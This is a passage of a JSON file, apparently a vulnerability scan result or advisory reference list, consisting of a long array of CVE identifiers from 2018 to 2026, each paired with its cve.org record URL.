          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90829"
        },
        {
          "name": "CVE-2025-11082",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-11082"
        },
        {
          "name": "CVE-2026-55443",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55443"
        },
        {
          "name": "CVE-2026-65900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65900"
        },
        {
          "name": "CVE-2026-66010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-66010"
        },
        {
          "name": "CVE-2026-53802",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53802"
        },
        {
          "name": "CVE-2025-48060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48060"
        },
        {
          "name": "CVE-2026-7383",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
        },
        {
          "name": "CVE-2026-70458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70458"
        },
        {
          "name": "CVE-2026-39825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39825"
        },
        {
          "name": "CVE-2026-39821",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39821"
        },
        {
          "name": "CVE-2024-6104",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-6104"
        },
        {
          "name": "CVE-2026-44825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44825"
        },
        {
          "name": "CVE-2026-45674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45674"
        },
        {
          "name": "CVE-2026-55831",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831"
        },
        {
          "name": "CVE-2026-33846",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33846"
        },
        {
          "name": "CVE-2025-14512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-14512"
        },
        {
          "name": "CVE-2026-9669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-9669"
        },
        {
          "name": "CVE-2026-44690",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44690"
        },
        {
          "name": "CVE-2026-1502",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1502"
        },
        {
          "name": "CVE-2026-27144",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
        },
        {
          "name": "CVE-2026-4360",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4360"
        },
        {
          "name": "CVE-2026-80230",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80230"
        },
        {
          "name": "CVE-2026-48743",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48743"
        },
        {
          "name": "CVE-2025-1149",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1149"
        },
        {
          "name": "CVE-2026-59949",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59949"
        },
        {
          "name": "CVE-2025-4877",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4877"
        },
        {
          "name": "CVE-2026-58012",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58012"
        },
        {
          "name": "CVE-2026-56865",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56865"
        },
        {
          "name": "CVE-2026-59881",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59881"
        },
        {
          "name": "CVE-2021-3393",
          "url": "https://www.cve.org/CVERecord?id=CVE-2021-3393"
        },
        {
          "name": "CVE-2026-19534",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19534"
        },
        {
          "name": "CVE-2026-22795",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-22795"
        },
        {
          "name": "CVE-2026-32283",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
        },
        {
          "name": "CVE-2026-0988",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0988"
        },
        {
          "name": "CVE-2025-61727",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-61727"
        },
        {
          "name": "CVE-2026-86413",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
        },
        {
          "name": "CVE-2026-26311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26311"
        },
        {
          "name": "CVE-2026-11822",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11822"
        },
        {
          "name": "CVE-2026-70626",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70626"
        },
        {
          "name": "CVE-2026-42014",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42014"
        },
        {
          "name": "CVE-2026-59890",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59890"
        },
        {
          "name": "CVE-2025-27613",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-27613"
        },
        {
          "name": "CVE-2026-82717",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82717"
        },
        {
          "name": "CVE-2026-0799",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0799"
        },
        {
          "name": "CVE-2025-6297",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6297"
        },
        {
          "name": "CVE-2026-63311",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-63311"
        },
        {
          "name": "CVE-2026-113602",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-113602"
        },
        {
          "name": "CVE-2026-79675",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79675"
        },
        {
          "name": "CVE-2026-77422",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77422"
        },
        {
          "name": "CVE-2026-11850",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11850"
        },
        {
          "name": "CVE-2024-28180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-28180"
        },
        {
          "name": "CVE-2025-65637",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-65637"
        },
        {
          "name": "CVE-2026-45409",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
        },
        {
          "name": "CVE-2026-27136",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27136"
        },
        {
          "name": "CVE-2026-93576",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93576"
        },
        {
          "name": "CVE-2026-14164",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14164"
        },
        {
          "name": "CVE-2026-0861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0861"
        },
        {
          "name": "CVE-2026-14456",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14456"
        },
        {
          "name": "CVE-2026-119374",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-119374"
        },
        {
          "name": "CVE-2026-56860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56860"
        },
        {
          "name": "CVE-2026-25542",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25542"
        },
        {
          "name": "CVE-2026-47774",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47774"
        },
        {
          "name": "CVE-2026-80274",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80274"
        },
        {
          "name": "CVE-2026-6368",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6368"
        },
        {
          "name": "CVE-2026-1703",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1703"
        },
        {
          "name": "CVE-2026-61801",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61801"
        },
        {
          "name": "CVE-2026-25645",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25645"
        },
        {
          "name": "CVE-2026-49265",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49265"
        },
        {
          "name": "CVE-2026-112390",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
        },
        {
          "name": "CVE-2026-21860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
        },
        {
          "name": "CVE-2026-14457",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14457"
        },
        {
          "name": "CVE-2025-13281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13281"
        },
        {
          "name": "CVE-2026-15534",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15534"
        },
        {
          "name": "CVE-2026-49458",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49458"
        },
        {
          "name": "CVE-2026-71513",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71513"
        },
        {
          "name": "CVE-2026-78410",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78410"
        },
        {
          "name": "CVE-2026-10536",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-10536"
        },
        {
          "name": "CVE-2026-97399",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-97399"
        },
        {
          "name": "CVE-2026-80047",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80047"
        },
        {
          "name": "CVE-2026-79674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-79674"
        },
        {
          "name": "CVE-2026-3479",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3479"
        },
        {
          "name": "CVE-2026-12261",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12261"
        },
        {
          "name": "CVE-2026-53784",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53784"
        },
        {
          "name": "CVE-2026-0847",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0847"
        },
        {
          "name": "CVE-2026-44249",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44249"
        },
        {
          "name": "CVE-2026-41991",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41991"
        },
        {
          "name": "CVE-2026-96640",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
        },
        {
          "name": "CVE-2026-77860",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77860"
        },
        {
          "name": "CVE-2026-8932",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8932"
        },
        {
          "name": "CVE-2026-39883",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
        },
        {
          "name": "CVE-2026-91780",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-91780"
        },
        {
          "name": "CVE-2025-5915",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5915"
        },
        {
          "name": "CVE-2026-4424",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4424"
        },
        {
          "name": "CVE-2026-76825",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-76825"
        },
        {
          "name": "CVE-2025-5917",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5917"
        },
        {
          "name": "CVE-2026-95818",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95818"
        },
        {
          "name": "CVE-2026-6879",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6879"
        },
        {
          "name": "CVE-2026-45186",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45186"
        },
        {
          "name": "CVE-2026-96231",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96231"
        },
        {
          "name": "CVE-2026-48978",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48978"
        },
        {
          "name": "CVE-2024-51744",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-51744"
        },
        {
          "name": "CVE-2026-78681",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78681"
        },
        {
          "name": "CVE-2026-77412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77412"
        },
        {
          "name": "CVE-2026-93561",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93561"
        },
        {
          "name": "CVE-2026-32281",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
        },
        {
          "name": "CVE-2026-75596",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75596"
        },
        {
          "name": "CVE-2026-12074",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12074"
        },
        {
          "name": "CVE-2026-45571",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45571"
        },
        {
          "name": "CVE-2026-107929",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
        },
        {
          "name": "CVE-2026-8763",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8763"
        },
        {
          "name": "CVE-2026-1839",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-1839"
        },
        {
          "name": "CVE-2026-12876",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12876"
        },
        {
          "name": "CVE-2026-27142",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27142"
        },
        {
          "name": "CVE-2026-75140",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-75140"
        },
        {
          "name": "CVE-2026-90801",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90801"
        },
        {
          "name": "CVE-2026-18408",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-18408"
        },
        {
          "name": "CVE-2026-45022",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-45022"
        },
        {
          "name": "CVE-2026-40356",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40356"
        },
        {
          "name": "CVE-2026-0966",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-0966"
        },
        {
          "name": "CVE-2024-45338",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-45338"
        },
        {
          "name": "CVE-2026-41989",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-41989"
        },
        {
          "name": "CVE-2026-50243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50243"
        },
        {
          "name": "CVE-2025-2999",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2999"
        },
        {
          "name": "CVE-2026-28389",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
        },
        {
          "name": "CVE-2026-42504",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42504"
        },
        {
          "name": "CVE-2026-56412",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56412"
        },
        {
          "name": "CVE-2026-59199",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59199"
        },
        {
          "name": "CVE-2025-10966",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-10966"
        },
        {
          "name": "CVE-2024-36124",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-36124"
        },
        {
          "name": "CVE-2026-53878",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53878"
        },
        {
          "name": "CVE-2024-10977",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-10977"
        },
        {
          "name": "CVE-2025-50182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-50182"
        },
        {
          "name": "CVE-2026-54478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54478"
        },
        {
          "name": "CVE-2026-80205",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-80205"
        },
        {
          "name": "CVE-2026-17495",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-17495"
        },
        {
          "name": "CVE-2025-47906",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47906"
        },
        {
          "name": "CVE-2026-48864",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48864"
        },
        {
          "name": "CVE-2026-65182",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65182"
        },
        {
          "name": "CVE-2026-56858",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56858"
        },
        {
          "name": "CVE-2026-115207",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-115207"
        },
        {
          "name": "CVE-2025-9906",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-9906"
        },
        {
          "name": "CVE-2026-88647",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-88647"
        },
        {
          "name": "CVE-2026-47778",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-47778"
        },
        {
          "name": "CVE-2025-59375",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-59375"
        },
        {
          "name": "CVE-2026-95619",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95619"
        },
        {
          "name": "CVE-2026-82720",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-82720"
        },
        {
          "name": "CVE-2026-34040",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34040"
        },
        {
          "name": "CVE-2026-94439",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94439"
        },
        {
          "name": "CVE-2026-116587",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116587"
        },
        {
          "name": "CVE-2026-95512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-95512"
        },
        {
          "name": "CVE-2026-7666",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-7666"
        },
        {
          "name": "CVE-2026-12003",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12003"
        },
        {
          "name": "CVE-2026-94448",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-94448"
        },
        {
          "name": "CVE-2026-35206",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-35206"
        },
        {
          "name": "CVE-2026-56855",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56855"
        },
        {
          "name": "CVE-2026-53615",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53615"
        },
        {
          "name": "CVE-2026-15588",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-15588"
        },
        {
          "name": "CVE-2026-59850",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59850"
        },
        {
          "name": "CVE-2026-92389",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
        },
        {
          "name": "CVE-2026-71889",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71889"
        },
        {
          "name": "CVE-2026-90711",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-90711"
        },
        {
          "name": "CVE-2026-5450",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5450"
        },
        {
          "name": "CVE-2026-53785",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53785"
        },
        {
          "name": "CVE-2026-50195",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50195"
        },
        {
          "name": "CVE-2025-50181",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-50181"
        },
        {
          "name": "CVE-2026-19499",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19499"
        },
        {
          "name": "CVE-2026-59903",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59903"
        },
        {
          "name": "CVE-2026-19385",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19385"
        },
        {
          "name": "CVE-2026-112943",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112943"
        },
        {
          "name": "CVE-2026-8404",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-8404"
        },
        {
          "name": "CVE-2026-11856",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-11856"
        },
        {
          "name": "CVE-2025-66382",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-66382"
        },
        {
          "name": "CVE-2026-5260",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-5260"
        },
        {
          "name": "CVE-2026-56746",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746"
        },
        {
          "name": "CVE-2026-42009",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42009"
        },
        {
          "name": "CVE-2026-103119",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-103119"
        },
        {
          "name": "CVE-2026-116566",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-116566"
        },
        {
          "name": "CVE-2026-33948",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-33948"
        },
        {
          "name": "CVE-2026-84838",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84838"
        },
        {
          "name": "CVE-2025-69421",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69421"
        },
        {
          "name": "CVE-2026-54059",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54059"
        },
        {
          "name": "CVE-2025-12781",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-12781"
        },
        {
          "name": "CVE-2026-40225",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-40225"
        },
        {
          "name": "CVE-2026-89157",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89157"
        },
        {
          "name": "CVE-2026-69651",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-69651"
        },
        {
          "name": "CVE-2025-58188",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-58188"
        },
        {
          "name": "CVE-2018-1000021",
          "url": "https://www.cve.org/CVERecord?id=CVE-2018-1000021"
        },
        {
          "name": "CVE-2026-93492",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93492"
        },
        {
          "name": "CVE-2025-1178",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1178"
        },
        {
          "name": "CVE-2026-77214",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77214"
        },
        {
          "name": "CVE-2026-34478",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34478"
        },
        {
          "name": "CVE-2025-8747",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-8747"
        },
        {
          "name": "CVE-2026-107725",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-107725"
        },
        {
          "name": "CVE-2024-40635",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-40635"
        },
        {
          "name": "CVE-2026-53488",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-53488"
        },
        {
          "name": "CVE-2026-44777",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44777"
        },
        {
          "name": "CVE-2025-4674",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-4674"
        },
        {
          "name": "CVE-2025-30258",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-30258"
        },
        {
          "name": "CVE-2026-6873",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6873"
        },
        {
          "name": "CVE-2026-93451",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93451"
        },
        {
          "name": "CVE-2025-1176",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-1176"
        },
        {
          "name": "CVE-2026-50162",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50162"
        },
        {
          "name": "CVE-2026-56391",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56391"
        },
        {
          "name": "CVE-2026-57433",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-57433"
        },
        {
          "name": "CVE-2024-56406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56406"
        },
        {
          "name": "CVE-2026-77420",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-77420"
        },
        {
          "name": "CVE-2026-4660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-4660"
        },
        {
          "name": "CVE-2026-93558",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93558"
        },
        {
          "name": "CVE-2026-81727",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-81727"
        },
        {
          "name": "CVE-2026-111752",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-111752"
        },
        {
          "name": "CVE-2026-39820",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39820"
        },
        {
          "name": "CVE-2026-55380",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55380"
        },
        {
          "name": "CVE-2026-34480",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34480"
        },
        {
          "name": "CVE-2026-105769",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-105769"
        },
        {
          "name": "CVE-2026-34501",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34501"
        },
        {
          "name": "CVE-2026-56854",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-56854"
        },
        {
          "name": "CVE-2026-84303",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-84303"
        },
        {
          "name": "CVE-2025-5278",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5278"
        },
        {
          "name": "CVE-2024-56433",
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-56433"
        },
        {
          "name": "CVE-2026-48587",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48587"
        },
        {
          "name": "CVE-2026-73180",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-73180"
        },
        {
          "name": "CVE-2026-87861",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
        },
        {
          "name": "CVE-2025-48384",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-48384"
        },
        {
          "name": "CVE-2025-49506",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-49506"
        },
        {
          "name": "CVE-2025-47911",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-47911"
        },
        {
          "name": "CVE-2025-5318",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-5318"
        },
        {
          "name": "CVE-2026-39819",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-39819"
        },
        {
          "name": "CVE-2026-34986",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
        },
        {
          "name": "CVE-2026-55990",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-55990"
        },
        {
          "name": "CVE-2026-112060",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112060"
        },
        {
          "name": "CVE-2026-92386",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
        },
        {
          "name": "CVE-2026-58010",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
        },
        {
          "name": "CVE-2026-62243",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
        },
        {
          "name": "CVE-2026-26958",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26958"
        },
        {
          "name": "CVE-2026-96512",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96512"
        },
        {
          "name": "CVE-2026-61712",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-61712"
        },
        {
          "name": "CVE-2026-14662",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
        },
        {
          "name": "CVE-2026-114406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-114406"
        },
        {
          "name": "CVE-2025-69872",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-69872"
        },
        {
          "name": "CVE-2025-2998",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-2998"
        },
        {
          "name": "CVE-2026-3833",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
        },
        {
          "name": "CVE-2026-106449",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-106449"
        },
        {
          "name": "CVE-2026-71887",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-71887"
        },
        {
          "name": "CVE-2026-26310",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-26310"
        },
        {
          "name": "CVE-2026-16118",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
        },
        {
          "name": "CVE-2026-42769",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
        },
        {
          "name": "CVE-2026-44660",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-44660"
        },
        {
          "name": "CVE-2026-93563",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-93563"
        },
        {
          "name": "CVE-2025-13151",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
        },
        {
          "name": "CVE-2026-59900",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
        },
        {
          "name": "CVE-2026-96638",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
        },
        {
          "name": "CVE-2026-54679",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-54679"
        },
        {
          "name": "CVE-2026-70464",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-70464"
        },
        {
          "name": "CVE-2026-112892",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
        },
        {
          "name": "CVE-2026-49459",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
        },
        {
          "name": "CVE-2026-6253",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6253"
        },
        {
          "name": "CVE-2025-6141",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
        },
        {
          "name": "CVE-2026-92387",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
        },
        {
          "name": "CVE-2026-78227",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-78227"
        },
        {
          "name": "CVE-2026-12064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-12064"
        },
        {
          "name": "CVE-2026-25934",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-25934"
        },
        {
          "name": "CVE-2026-6470",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
        },
        {
          "name": "CVE-2026-96232",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-96232"
        },
        {
          "name": "CVE-2026-112406",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
        },
        {
          "name": "CVE-2026-50229",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-50229"
        },
        {
          "name": "CVE-2025-6020",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-6020"
        },
        {
          "name": "CVE-2026-89425",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
        },
        {
          "name": "CVE-2026-48962",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
        },
        {
          "name": "CVE-2022-48064",
          "url": "https://www.cve.org/CVERecord?id=CVE-2022-48064"
        },
        {
          "name": "CVE-2026-19672",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
        },
        {
          "name": "CVE-2025-68161",
          "url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
        },
        {
          "name": "CVE-2026-14669",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
        },
